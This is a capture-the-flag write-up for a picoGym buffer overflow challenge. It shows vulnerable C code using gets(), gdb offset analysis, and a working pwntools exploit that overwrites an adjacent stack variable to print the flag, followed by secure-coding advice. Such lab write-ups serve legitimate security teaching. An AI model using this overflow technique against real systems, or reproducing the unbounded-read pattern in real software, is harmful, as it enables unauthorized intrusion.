The binary reads user input into a fixed-size buffer without checking its length (gets()). By sending an input longer than the buffer, we overwrite an adjacent variable in memory (int flag_check) which, once set to a non-zero value, triggers the flag display.
- Platform: picoGym
- Category: Binary Exploitation (Pwn)
- Points: 200 pts
- Difficulty: Intermediate
- Technique: Buffer overflow, pwntools
Challenge description
The challenge provides a vuln binary along with its C source code. It contains a vuln() function that declares a fixed-size buffer followed by a control variable, and reads user input without ever checking its length:
void vuln(){
char buf[64];
int flag_check = 0;
printf("Please enter your string: \n");
gets(buf);
if (flag_check == 0x1) {
printf("Attempting to read flag\n");
print_flag();
} else {
printf("Value: 0x%x\n", flag_check);
printf("Better luck next time!\n");
}
}
The goal is clear: force flag_check to hold 1 (or any non-zero value interpreted as such) so the program calls print_flag().
Step 1 — Static analysis
The key point is the order in which variables are declared inside vuln(): buf[64] is declared just before flag_check. On most x86/x86-64 architectures, with default compiler optimizations, local variables are placed on the stack in an order that makes them adjacent in memory — flag_check ends up right after buf, at higher addresses.
In practice, this means that writing beyond the buffer's 64 bytes causes the extra bytes to overflow directly into the memory space occupied by flag_check.
Step 2 — Check the protections
First, we check which memory protections are active on the binary using checksec (provided by pwntools):
$ checksec ./vuln
[*] '/home/user/bof0/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
No stack canary is present: nothing detects a stack overwrite before the return. This is consistent with an introductory challenge — we can overwrite flag_check without triggering any alarm.
Step 3 — Calculate the offset
The source code shows char buf[64]. Thanks to the usual memory alignment (often 4 or 8 bytes on the compiler side), flag_check sits right after these 64 bytes. We can confirm this with gdb by setting a breakpoint after the read and inspecting the addresses of both variables:
gdb-peda$ break *vuln+80
gdb-peda$ run
gdb-peda$ p &buf
$1 = (char (*)[64]) 0x7ffee2a1b3a0
gdb-peda$ p &flag_check
$2 = (int *) 0x7ffee2a1b3e0
The difference between the two addresses (0x3e0 - 0x3a0 = 0x40, i.e. 64 in decimal) confirms that exactly 64 bytes of padding are enough to reach flag_check.
Step 4 — Exploit with pwntools
The payload is simple: 64 padding bytes (any value) followed by the 4 bytes representing the integer 1 in little-endian, to overwrite flag_check with a non-zero value.
from pwn import *
# context.log_level = 'debug'
elf = context.binary = ELF('./vuln')
# io = process('./vuln') # test locally
io = remote('mercury.picoctf.net', 12345) # connect to the remote service
offset = 64
payload = b'A' * offset
payload += p32(0x1) # overwrite flag_check with 1
io.recvuntil(b'string: \n')
io.sendline(payload)
print(io.recvall().decode())
Step 5 — Grab the flag
We run the exploit. The program reads our 68-byte input, overwrites flag_check, enters the if block, and calls print_flag():
$ python3 exploit.py
[+] Opening connection to mercury.picoctf.net on port 12345: Done
Please enter your string:
Attempting to read flag
picoCTF{***************************}
[*] Closed connection to mercury.picoctf.net port 12345
🚩 picoCTF{ flag intentionally hidden }
The flag is deliberately hidden — follow the method, you've earned it. 💪
Key takeaways
This challenge is the classic entry point into pwn: understanding that the stack is a contiguous memory space, and that nothing prevents an unbounded write from "overflowing" from one variable into another.
- Never use
gets()— the function was removed from the C11 standard precisely for this reason - Prefer bounded equivalents like
fgets()orstrncpy(), which take a maximum size as a parameter - Enable compiler protections (
-fstack-protector-all, full RELRO, PIE) to make exploitation much harder in production
Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.
Top comments (0)